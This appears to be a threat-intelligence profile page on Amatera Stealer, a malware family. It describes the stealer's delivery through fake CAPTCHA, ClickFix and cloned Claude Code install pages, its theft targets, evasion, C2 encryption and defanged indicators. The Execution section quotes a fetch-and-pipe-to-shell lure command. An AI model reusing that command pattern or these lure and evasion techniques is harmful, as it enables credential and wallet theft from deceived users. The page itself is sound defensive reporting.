Amatera Stealer
Amatera Stealer is a commodity information-stealing malware family and Malware-as-a-Service offering, also referred to as Amatera, and described in the provided reporting as a rebranded version of ACR (AcridRain) Stealer. It has been linked to the threat actor SheldIO and is positioned in reporting as a successor or replacement to Lumma Stealer. The malware has been observed in multiple 2026 delivery campaigns targeting Windows and, in some reporting, broader cross-platform developer-focused lures tied to fake software installation pages.
Observed delivery vectors include ClickFix and InstallFix-style social engineering, fake CAPTCHA or human-verification prompts, Google Ads malvertising, cloned Claude Code installation pages, phishing, fake software downloads, cracked software lures, Discord-delivered verification pages, and multi-stage loader chains involving MSHTA. Reporting also describes delivery through CountLoader, Emmenhtal Loader, and abuse of the signed Microsoft App-V script SyncAppvPublishingServer.vbs. In Windows-focused chains, victims are tricked into copying and executing malicious commands via the Run dialog or terminal-like install instructions, after which mshta.exe, PowerShell, HTA/VBScript, or in-memory shellcode loaders are used to retrieve and execute Amatera.
Capabilities directly described in the content include theft of browser-stored credentials, cookies, session tokens, browser data, crypto-wallet information, wallet browser extensions, desktop cryptocurrency wallets, Discord data, Signal data, password manager files, system information, and files from user directories including Downloads. One report states the malware expanded harvesting to 65 browser targets, 165 wallet browser extensions, and 137 desktop wallet targets, and that its file grabber searches for wallet exports, seed phrases, private keys, passwords, JSON, TXT, PDF, KDBX, and wallet-related files. Additional reporting states it targets information from the user folder and similar victim data to LummaStealer.
Behavior and technical characteristics described in the content include in-memory execution via reflective loaders and shellcode, string encryption using XTEA, syscall resolution and hook evasion using RecycledGate/FreshyCalls-style techniques, anti-debugging, anti-analysis checks, and geofencing behavior that exits on Ukrainian keyboard layouts or when certain Kaspersky driver files are detected. One eSentire report states the malware changed C2 protection from AES-256-CBC with a hard-coded key to ECDH over NIST P-256 followed by ChaCha20-Poly1305, initiates C2 with HTTP POST requests to the root path, and uses the X-Request-ID header during session establishment. Other reporting states Amatera communications may be routed through legitimate CDN infrastructure, and one campaign used Cloudflare-fronted infrastructure with payload gating based on a curl/ User-Agent substring.
Associated targeting in the provided content includes a finance-industry customer environment observed by eSentire, enterprise-managed Windows environments implied by App-V-dependent delivery, and developers or users searching for AI tooling such as Anthropic Claude Code. The broader lure ecosystem includes AI tool impersonation and shadow-AI usage scenarios.
High-confidence indicators mentioned in the content include the remote server 144.124.235.102; initial dropper URL hxxps://download.version-516[.]com/other; second-stage domain oakenfjrod.ru; C2 indicators 77.91.97.244 and compactedtightness.cfd; Windows infection URL hxxps://claude[.]update-version[.]com/claude; campaign infrastructure contatoplus[.]com; and PNG/payload delivery domains such as gcdnb.pbrd[.]co and iili[.]io. Sample hashes explicitly provided include shellcode loader SHA-256 e913fa5b2dd0a7fc3dbaf0a6f882b3ead9a58511bd945b6e5c478cbd2b900508 and unpacked Amatera sample SHA-256 ec1206989449d30746b5ceb2b297cda9f3f09636a0e122ecafb40b1dc2e86772.
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Groups observed using it
1 distinct threat actor attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.
In late April 2026, eSentire's Threat Response Unit (TRU) intercepted an attempted delivery of Amatera Stealer within a customer environment in the Finance industry. Amatera Stealer is a rebranded version of ACR (AcridRain) Stealer, a C++ based information stealer previously marketed as Malware-as-a-Service (MaaS) on underground forums by the threat actor SheldIO.
Techniques & procedures
35 distinct techniques documented for this family, organized by ATT&CK tactic.
Resource Development
2 techniquesSponsored results direct victims to lure pages hosted on trusted platforms -- Squarespace, Cloudflare Pages, and Tencent EdgeOne -- that mirror the official Claude Code documentation.
This is a pure malvertising play. No email vector, no phishing links. The attack surface is the search engine results page itself.
Execution
8 techniquesInside the archive is a file called Setup.exe, which is actually a legitimate Python interpreter bundled with malicious scripts that quietly launch the attack in the background.
Based on Bitdefender's analysis, MSHTA is used as an intermediary step in multi-stage PowerShell attacks before the retrieval of malicious payloads is complete, with attackers executing scripts directly in memory to evade security controls.
The lure page presents what appears to be a standard curl | sh install command... curl -ksfLS $( echo '...' | base64 -D)| zsh
Layer 2 HTA/VBScript 1,476,332 bytes, 531 lines, 6 polymorphic blocks, 100+ XOR stubs
Amatera employs RecycledGate ... a SysCall number (SSN) resolution technique that combines elements of the FreshyCalls and Hell's Gate techniques. | For each resolved SSN, there is a wrapper function that issues the SysCall.
The infection starts when a victim downloads what appears to be free or cracked software... When a user visits one of these pages, JavaScript secretly copies a malicious command to the clipboard and instructs them to press Win + R, paste it, and hit Enter.
Victims who copy the displayed install command unknowingly execute a multi-stage loader that delivers Amatera Stealer.
The infection starts when a victim downloads what appears to be free or cracked software. Inside the archive is a file called Setup.exe, which is actually a legitimate Python interpreter bundled with malicious scripts that quietly launch the attack in the background.
Persistence
1 techniquePrivilege Escalation
2 techniquesthe reflective injection process begins by mapping the payload's sections into a newly allocated PAGE_READWRITE buffer
Stealth
11 techniquesString encryption uses XTEA ... SysCall SSNs ... stored XOR-encoded ... Control-flow flattening / indirect control-flow obfuscation has been observed
If configured to do so ... overwriting 0x400 (1024) bytes at the payload's base address with null (0x00) bytes, effectively erasing the payload's PE headers from memory.
Inside the archive is a file called Setup.exe, which is actually a legitimate Python interpreter bundled with malicious scripts... it uses a renamed MSHTA copy disguised as iso2022.exe
The vast majority of detections for mshta.exe come from instances where the command line contains domains that appear to be legitimate services but are hosted on the .cc TLD... Starting in late February 2026... shifted to .vg and .gl TLDs.
the reflective injection process begins by mapping the payload's sections into a newly allocated PAGE_READWRITE buffer
It uses a 128-byte XOR key to first decrypt the encrypted payload blob, then aPLib to decompress it.
The tool is MSHTA, short for Microsoft HTML Application Host, a built-in Windows utility that can run scripts from local files and remote internet locations... Attackers have been using it to deliver some of today’s most harmful malware... All use MSHTA as a stepping stone during early or middle stages of infection.
The table below summarizes Amatera Stealer's checks designed to evade sandboxes.
Checks for the presence of Kaspersky driver files ... Checks the active keyboard layout ... Checks if there are less than 5 installed programs ... less than 6 running processes.
Functions as a reflective loader [ T1620 ] that decrypts, decompresses, and transfers execution to a DLL or EXE payload.
Credential Access
4 techniquesExfiltration Targets Browser credentials, cookies, and session tokens
Password manager file globs broadened for Bitwarden, 1Password, RoboForm, and NordPass
The decoded bash script contains the actual stealing logic: browser credential harvesting... Exfiltration Targets Browser credentials, cookies, and session tokens
The final payload is most often LummaStealer, designed to harvest browser credentials, session cookies, and cryptocurrency wallet data. Amatera, another stealer in the same chain, targets similar data.
Discovery
7 techniquesChecks if there are less than 6 running processes ... enumerate running processes and compares each process name
File grabber updated to search the victim's Downloads directory; pattern lists nearly doubled
The table below summarizes Amatera Stealer's checks designed to evade sandboxes.
Checks for the presence of Kaspersky driver files ... Checks the active keyboard layout ... Checks if there are less than 5 installed programs ... less than 6 running processes.
Checks if there are less than 5 installed programs by enumerating the registry key: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Checks the active keyboard layout via GetKeyboardLayout, if Ukrainian, the malware exits.
Collection
1 techniqueDecrypting further communication with the C2 reveals ... zip archives with exfiltrated data.
Command and Control
3 techniquesthe client initiates a session by sending an HTTP POST to the C2's root path (/)
As the Python script runs, it uses a renamed MSHTA copy disguised as iso2022.exe to connect to attacker servers and fetch the next-stage payload... That single action triggers MSHTA to fetch a remote script that runs entirely in memory.
C2 communications now use an ECDH (NIST P-256) key exchange with ChaCha20-Poly1305
Exfiltration
1 techniqueAll subsequent communications to and from the C2 use the Authenticated Encryption with Associated Data (AEAD) algorithm ChaCha20-Poly1305
IOCs tracked for this family
59 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.
IPs, domains, and DNS infrastructure linked to this family.
File hashes (MD5, SHA-1, SHA-256) from samples and reports.
Other indicator types observed in public reporting.
Recent activity
42 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
A stealer delivered in the same CountLoader/MSHTA infection chain as LummaStealer, targeting browser and wallet-related data.
An information stealer delivered by malware loaders in MSHTA-linked campaigns described by Bitdefender.
An information stealer observed being delivered by malware loaders through MSHTA-related infection chains.
A C++ information stealer and MaaS offering that steals browser data, wallet data, Discord and Signal data, password manager files, and sensitive files from the Downloads directory. It uses anti-debug/anti-analysis features, geofencing, syscall-based evasion, and ECDH plus ChaCha20-Poly1305 for C2 communications. The observed attack also used a shellcode-based reflective loader to decrypt, decompress, and execute the stealer in memory.
The version that knows your environment.
Match every observed IP, domain, and hash against your live telemetry.
Named campaigns wielding this family, with evidence pinned to each claim.
CVEs this family uses for access and lateral movement.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Every documented technique, ranked by evidence weight.
Reddit, Mastodon, and CTI community discussion around this family.